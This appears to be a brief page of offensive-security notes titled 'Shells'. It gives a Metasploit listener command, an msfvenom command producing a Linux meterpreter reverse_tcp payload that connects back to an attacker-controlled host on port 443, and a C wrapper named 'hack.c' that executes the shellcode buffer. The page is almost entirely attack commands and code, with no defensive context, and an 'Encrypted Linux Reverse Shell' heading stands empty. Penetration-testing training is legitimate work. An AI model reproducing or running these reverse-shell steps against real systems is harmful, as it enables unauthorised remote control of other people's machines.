Shells

Basic Linux Reverse Shell

Configure Listener

msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.X.Y; set LPORT 443; exploit -j"
  • Configure a payload

msfvenom -p linux/x64/meterpreter/reverse_tcp LPORT=443 LHOST=192.168.X.Y -f c
  • Create a wrapper called hack.c

hack.c
#include <stdio.h>  
#include <stdlib.h>  
#include <unistd.h>  

// msfvenom -p linux/x64/meterpreter/reverse_tcp LPORT=443 LHOST=192.168.X.Y -f c  
unsigned char buf[] ="\x48\x31"  
  
int main (int argc, char **argv)  
{  
 // Run our shellcode  
 int (*ret)() = (int(*)())buf;  
 ret();  
}

Compile the code with gcc

Encrypted Linux Reverse Shell

Last updated

Was this helpful?